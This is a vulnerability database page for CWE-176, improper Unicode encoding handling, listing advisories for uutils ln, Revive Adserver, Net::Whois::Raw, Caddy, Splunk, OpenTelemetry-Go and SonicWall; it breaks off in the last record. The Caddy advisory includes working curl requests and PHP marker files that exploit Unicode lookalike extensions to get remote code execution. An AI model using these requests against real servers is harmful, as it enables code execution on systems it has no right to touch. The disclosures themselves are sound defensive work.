CWE-176
AllowedImproper Handling of Unicode Encoding
Abstraction: Variant · Status: Draft
The product does not properly handle when an input contains Unicode encoding.
65 vulnerabilities reference this CWE, most recent first.
GHSA-JCJR-RH8Q-7XQF
Vulnerability from github – Published: 2026-07-06 19:53 – Updated: 2026-07-06 19:53In target-directory forms (ln SOURCE... DIRECTORY), ln rejects source paths with non-UTF-8 filename bytes, while GNU accepts them. Breaks GNU compatibility for byte-oriented filenames on Unix filesystems.
PoC:
name=$(printf 'bad_\377'); mkdir dst; : > "$name"; ln "$name" dst
# GNU: exit 0, creates dst/bad_\377 ; uutils: exit 1, dst empty
Zellic private finding (zellic-ext/coreutils-private PR #84). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uu_ln"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35373"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T19:53:39Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "In target-directory forms (`ln SOURCE... DIRECTORY`), `ln` rejects source paths with non-UTF-8 filename bytes, while GNU accepts them. Breaks GNU compatibility for byte-oriented filenames on Unix filesystems.\n\nPoC:\n```\nname=$(printf \u0027bad_\\377\u0027); mkdir dst; : \u003e \"$name\"; ln \"$name\" dst\n# GNU: exit 0, creates dst/bad_\\377 ; uutils: exit 1, dst empty\n```\n\n---\n_Zellic private finding (zellic-ext/coreutils-private PR #84). Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-jcjr-rh8q-7xqf",
"modified": "2026-07-06T19:53:39Z",
"published": "2026-07-06T19:53:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-jcjr-rh8q-7xqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35373"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/11403"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ln: rejects non-UTF-8 source filenames in target-directory mode"
}
GHSA-JHQ7-888Q-JW4M
Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 03:31HackerOne community member Kassem S.(kassem_s94) has reported that username handling in Revive Adserver was still vulnerable to impersonation attacks after the fix for CVE-2025-52672, via several alternate techniques. Homoglyphs based impersonation has been independently reported by other HackerOne users, such as itz_hari_ and khoof.
{
"affected": [],
"aliases": [
"CVE-2025-55129"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-02T02:15:46Z",
"severity": "MODERATE"
},
"details": "HackerOne community member Kassem S.(kassem_s94) has reported that username handling in Revive Adserver was still vulnerable to impersonation attacks after the fix for CVE-2025-52672, via several alternate techniques. Homoglyphs based impersonation has been independently reported by other HackerOne users, such as itz_hari_ and khoof.",
"id": "GHSA-jhq7-888q-jw4m",
"modified": "2025-12-02T03:31:43Z",
"published": "2025-12-02T03:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55129"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3434156"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M543-JCGV-FPX5
Vulnerability from github – Published: 2026-10-05 09:31 – Updated: 2026-10-06 18:31Net::Whois::Raw versions before 2.99044 for Perl ship a pwhois command-line tool that queries WHOIS for the wrong domain for unicode domain names.
pwhois encodes each non-ASCII label directly using Net::IDN::Punycode and prepends xn--. Apart from lowercasing ASCII and Cyrillic letters, it skips the IDNA mapping and normalization steps, so a label with other uppercase letters, or not in NFC, encodes to a different A-label than its IDNA form. For example, a label of U+00C9 followed by "cole" encodes to "xn--cole-pka" rather than "xn--cole-9oa".
The Net::Whois::Raw library modules are not affected.
{
"affected": [],
"aliases": [
"CVE-2026-19954"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-05T07:16:30Z",
"severity": "MODERATE"
},
"details": "Net::Whois::Raw versions before 2.99044 for Perl ship a pwhois command-line tool that queries WHOIS for the wrong domain for unicode domain names.\n\npwhois encodes each non-ASCII label directly using Net::IDN::Punycode and prepends xn--. Apart from lowercasing ASCII and Cyrillic letters, it skips the IDNA mapping and normalization steps, so a label with other uppercase letters, or not in NFC, encodes to a different A-label than its IDNA form. For example, a label of U+00C9 followed by \"cole\" encodes to \"xn--cole-pka\" rather than \"xn--cole-9oa\".\n\nThe Net::Whois::Raw library modules are not affected.",
"id": "GHSA-m543-jcgv-fpx5",
"modified": "2026-10-06T18:31:26Z",
"published": "2026-10-05T09:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19954"
},
{
"type": "WEB",
"url": "https://github.com/regru/Net-Whois-Raw/issues/34"
},
{
"type": "WEB",
"url": "https://github.com/regru/Net-Whois-Raw/pull/35"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/NALOBIN/Net-Whois-Raw-2.99044/changes"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/PJCJ/Net-IDN-Encode-2.590-TRIAL/view/lib/Net/IDN/Punycode.pm#WARNING"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/N/Net-Whois-Raw/2.99043/CVE-2026-19954-r1.patch"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc5891#section-5.2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/05/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M675-2P33-XV9G
Vulnerability from github – Published: 2026-05-18 13:40 – Updated: 2026-07-20 13:42Summary
The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.
This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.
Details
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
func (t Transport) splitPos(path string) int {
if len(t.SplitPath) == 0 {
return 0
}
pathLen := len(path)
for _, split := range t.SplitPath {
splitLen := len(split)
for i := range pathLen {
if path[i] >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break
}
if i+splitLen > pathLen {
continue
}
match := true
for j := range splitLen {
c := path[i+j]
if c >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break // <-- flaw 1: 'match' is still true
}
if 'A' <= c && c <= 'Z' {
c += 'a' - 'A'
}
if c != split[j] {
match = false
break
}
}
if match {
return i + splitLen
}
}
}
return -1
}
Flaw 1 — Control-flow: stale match after inner non-ASCII fallback
In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.
Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII
search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.
Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.
PoC
Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by split_path). Caddyfile:
:8080 {
root * /app/public
php_fastcgi unix//run/php/php-fpm.sock
}
Place attacker-controlled files in /app/public:
/app/public/poc-match-unset.\xc2\xa1.—<?php echo "marker=flaw1\n";/app/public/poc-search-norm.𝗽𝗵𝗽—<?php echo "marker=flaw2\n";
Trigger:
# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"
# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"
# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.
A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.
Impact
Comparable to the previous FastCGI split_path issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).
Patch
Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.
Credit
Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.10.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45135"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-178",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T13:40:58Z",
"nvd_published_at": "2026-06-23T18:17:52Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe FastCGI transport\u0027s `splitPos()` in [`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go`](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy\u0027s FastCGI splitting into treating a non-`.php` (or other configured `split_path` extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis function was adapted from FrankenPHP\u0027s code (see [the source comment](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go#L429)) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm) (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc (t Transport) splitPos(path string) int {\n\tif len(t.SplitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range t.SplitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := range pathLen {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := range splitLen {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case `SplitPath` entry against an arbitrary path. `Provision()` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nRun against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by `split_path`). Caddyfile:\n\n```text\n:8080 {\n root * /app/public\n php_fastcgi unix//run/php/php-fpm.sock\n}\n```\n\nPlace attacker-controlled files in `/app/public`:\n\n- `/app/public/poc-match-unset.\\xc2\\xa1.` \u2014 `\u003c?php echo \"marker=flaw1\\n\";`\n- `/app/public/poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd` \u2014 `\u003c?php echo \"marker=flaw2\\n\";`\n\nTrigger:\n\n```bash\n# baseline (correctly NOT routed to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 the .\u00a1.txt file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 the .\ud835\uddfd\ud835\uddf5\ud835\uddfd file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\nA standalone reproducer of `splitPos()` in isolation (no Caddy build needed) is included in [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm); the function in this module is the same logic, so the same payloads apply.\n\n### Impact\n\nComparable to the previous FastCGI `split_path` issue ([GHSA-g966-83w7-6w38 / CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38)) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors \u2014 the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nDrop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. `SplitPath` entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See `fix/fastcgi-splitpos-unicode-bypass` (commit `4ddad83c`) for the implementation and regression tests.\n\n### Credit\n\nBoth flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending `splitPos()` function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.",
"id": "GHSA-m675-2p33-xv9g",
"modified": "2026-07-20T13:42:54Z",
"published": "2026-05-18T13:40:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m675-2p33-xv9g"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45135"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files"
}
GHSA-P3VG-7HJ9-6F24
Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-15 18:31In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.10, and 9.3.11, and Splunk Cloud Platform versions below 10.4.2603.0, 10.3.2512.6, 10.2.2510.10, 10.1.2507.20, 10.0.2503.13, and 9.3.2411.127, a user who holds a role that contains the high-privilege capability edit_usercould create a specially crafted username that includes a null byte or a non-UTF-8 percent-encoded byte due to improper input validation.
This could lead to inconsistent conversion of usernames into a proper format for storage and account management inconsistencies, such as being unable to edit or delete affected users.
{
"affected": [],
"aliases": [
"CVE-2026-20202"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-15T16:16:34Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.10, and 9.3.11, and Splunk Cloud Platform versions below 10.4.2603.0, 10.3.2512.6, 10.2.2510.10, 10.1.2507.20, 10.0.2503.13, and 9.3.2411.127, a user who holds a role that contains the high-privilege capability `edit_user`could create a specially crafted username that includes a null byte or a non-UTF-8 percent-encoded byte due to improper input validation.\u003cbr\u003e\u003cbr\u003eThis could lead to inconsistent conversion of usernames into a proper format for storage and account management inconsistencies, such as being unable to edit or delete affected users.",
"id": "GHSA-p3vg-7hj9-6f24",
"modified": "2026-04-15T18:31:56Z",
"published": "2026-04-15T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20202"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0401"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P9F8-WVJ8-2FG8
Vulnerability from github – Published: 2026-09-29 17:59 – Updated: 2026-09-29 17:59Summary
The OpenTelemetry Go SDK trace package can fail to enforce AttributeValueLengthLimit for string attributes containing the valid Unicode replacement character U+FFFD. An oversized attacker-controlled attribute value that includes U+FFFD is returned untruncated, bypassing the configured memory/DoS protection and allowing increased per-span memory usage. The finding is low severity because it requires a deployment with attribute value length limits enabled and attacker-controlled data being recorded into span attributes.
Introduced in commit 49a6536
Details
String and string-slice span attributes are truncated through safeTruncate when AttributeValueLengthLimit is non-negative. The finding evidence identifies this enforcement path in sdk/trace/span.go:303-331, with string attributes passed to safeTruncate at sdk/trace/span.go:309-310 and string-slice entries passed to safeTruncate in the loop beginning at sdk/trace/span.go:312.
safeTruncate first calls safeTruncateValidUTF8; if that returns ok=false, it calls strings.ToValidUTF8(input, "") and retries. The relevant code is identified in sdk/trace/span.go:337-355. safeTruncateValidUTF8 treats any utf8.RuneError from utf8.DecodeRuneInString as invalid UTF-8 and immediately returns the original input with ok=false. However, Go also returns utf8.RuneError for a valid encoded U+FFFD rune. The validation artifact confirms this behavior with output r=U+FFFD size=3 runeError=true.
For an input such as "AAAA" + U+FFFD + strings.Repeat("B", 20) and a limit of 5, the first truncation attempt sees U+FFFD as utf8.RuneError and returns the full input with ok=false. strings.ToValidUTF8 does not remove the valid U+FFFD rune, so the second attempt returns the same full input. As a result, the span attribute value remains 27 bytes long even though the configured limit is 5.
PoC
The validation artifact contains a package-level Go test at validation-artifact.tar:safe_truncate_bypass/safe_truncate_poc_test.go and supporting output at validation-artifact.tar:safe_truncate_bypass/runecheck_output.txt.
Reproduction configuration:
- Repository: pellared/opentelemetry-go
- Commit: 49a6536 from September 12, 2022
- Package/module path: sdk/trace under the sdk module
- Attribute value length limit used by the PoC: limit := 5
- Dependencies must be available through the network or a local module cache/vendor directory.
Commands:
cd /path/to/opentelemetry-go
git checkout 49a6536
tar -xOf /path/to/validation-artifact.tar safe_truncate_bypass/safe_truncate_poc_test.go > sdk/trace/safe_truncate_poc_test.go
cd sdk
go test ./trace -run TestSafeTruncateBypass -count=1 -v
Expected vulnerable output includes a failing test showing that the returned value exceeds the configured limit:
=== RUN TestSafeTruncateBypass
safe_truncate_poc_test.go:14: input_len=27 got_len=27 input="AAAA�BBBBBBBBBBBBBBBBBBBB" got="AAAA�BBBBBBBBBBBBBBBBBBBB"
safe_truncate_poc_test.go:16: bypass: got_len 27 > limit 5
--- FAIL: TestSafeTruncateBypass
The artifact also records the standalone UTF-8 behavior needed for the bypass:
tar -xOf /path/to/validation-artifact.tar safe_truncate_bypass/runecheck_output.txt
Expected output:
r=U+FFFD size=3 runeError=true
Impact
This is a Unicode handling and resource-limit bypass that weakens span attribute memory controls. Applications that enable AttributeValueLengthLimit to bound memory usage can still store oversized attacker-controlled attribute values if those values contain U+FFFD. The practical impact is increased memory use and reduced denial-of-service protection in the instrumented process; the finding does not show confidentiality or integrity impact.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/otel/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81869"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T17:59:10Z",
"nvd_published_at": "2026-09-16T21:17:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe OpenTelemetry Go SDK trace package can fail to enforce `AttributeValueLengthLimit` for string attributes containing the valid Unicode replacement character U+FFFD. An oversized attacker-controlled attribute value that includes U+FFFD is returned untruncated, bypassing the configured memory/DoS protection and allowing increased per-span memory usage. The finding is low severity because it requires a deployment with attribute value length limits enabled and attacker-controlled data being recorded into span attributes.\n\nIntroduced in commit 49a6536\n\n### Details\n\nString and string-slice span attributes are truncated through `safeTruncate` when `AttributeValueLengthLimit` is non-negative. The finding evidence identifies this enforcement path in `sdk/trace/span.go:303-331`, with string attributes passed to `safeTruncate` at `sdk/trace/span.go:309-310` and string-slice entries passed to `safeTruncate` in the loop beginning at `sdk/trace/span.go:312`.\n\n`safeTruncate` first calls `safeTruncateValidUTF8`; if that returns `ok=false`, it calls `strings.ToValidUTF8(input, \"\")` and retries. The relevant code is identified in `sdk/trace/span.go:337-355`. `safeTruncateValidUTF8` treats any `utf8.RuneError` from `utf8.DecodeRuneInString` as invalid UTF-8 and immediately returns the original input with `ok=false`. However, Go also returns `utf8.RuneError` for a valid encoded U+FFFD rune. The validation artifact confirms this behavior with output `r=U+FFFD size=3 runeError=true`.\n\nFor an input such as `\"AAAA\" + U+FFFD + strings.Repeat(\"B\", 20)` and a limit of 5, the first truncation attempt sees U+FFFD as `utf8.RuneError` and returns the full input with `ok=false`. `strings.ToValidUTF8` does not remove the valid U+FFFD rune, so the second attempt returns the same full input. As a result, the span attribute value remains 27 bytes long even though the configured limit is 5.\n\n### PoC\n\n[validation-artifact.zip](https://github.com/user-attachments/files/27494267/validation-artifact.zip)\n\n\nThe validation artifact contains a package-level Go test at `validation-artifact.tar:safe_truncate_bypass/safe_truncate_poc_test.go` and supporting output at `validation-artifact.tar:safe_truncate_bypass/runecheck_output.txt`.\n\nReproduction configuration:\n- Repository: `pellared/opentelemetry-go`\n- Commit: `49a6536` from September 12, 2022\n- Package/module path: `sdk/trace` under the `sdk` module\n- Attribute value length limit used by the PoC: `limit := 5`\n- Dependencies must be available through the network or a local module cache/vendor directory.\n\nCommands:\n```sh\ncd /path/to/opentelemetry-go\ngit checkout 49a6536\ntar -xOf /path/to/validation-artifact.tar safe_truncate_bypass/safe_truncate_poc_test.go \u003e sdk/trace/safe_truncate_poc_test.go\ncd sdk\ngo test ./trace -run TestSafeTruncateBypass -count=1 -v\n```\n\nExpected vulnerable output includes a failing test showing that the returned value exceeds the configured limit:\n```text\n=== RUN TestSafeTruncateBypass\n safe_truncate_poc_test.go:14: input_len=27 got_len=27 input=\"AAAA\ufffdBBBBBBBBBBBBBBBBBBBB\" got=\"AAAA\ufffdBBBBBBBBBBBBBBBBBBBB\"\n safe_truncate_poc_test.go:16: bypass: got_len 27 \u003e limit 5\n--- FAIL: TestSafeTruncateBypass\n```\n\nThe artifact also records the standalone UTF-8 behavior needed for the bypass:\n```sh\ntar -xOf /path/to/validation-artifact.tar safe_truncate_bypass/runecheck_output.txt\n```\n\nExpected output:\n```text\nr=U+FFFD size=3 runeError=true\n```\n\n### Impact\n\nThis is a Unicode handling and resource-limit bypass that weakens span attribute memory controls. Applications that enable `AttributeValueLengthLimit` to bound memory usage can still store oversized attacker-controlled attribute values if those values contain U+FFFD. The practical impact is increased memory use and reduced denial-of-service protection in the instrumented process; the finding does not show confidentiality or integrity impact.",
"id": "GHSA-p9f8-wvj8-2fg8",
"modified": "2026-09-29T17:59:10Z",
"published": "2026-09-29T17:59:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-p9f8-wvj8-2fg8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81869"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/issues/5996"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/pull/5997"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/commit/e016a78c9f5b24a1c2beeaad47686c2f2213f49a"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-go"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.33.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenTelemetry-Go: UTF-8 replacement rune bypasses attribute length truncation"
}
GHSA-Q2CW-G735-JVCC
Vulnerability from github – Published: 2026-04-09 15:35 – Updated: 2026-05-10 15:31Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN admin to bypass AMC TOTP authentication.
{
"affected": [],
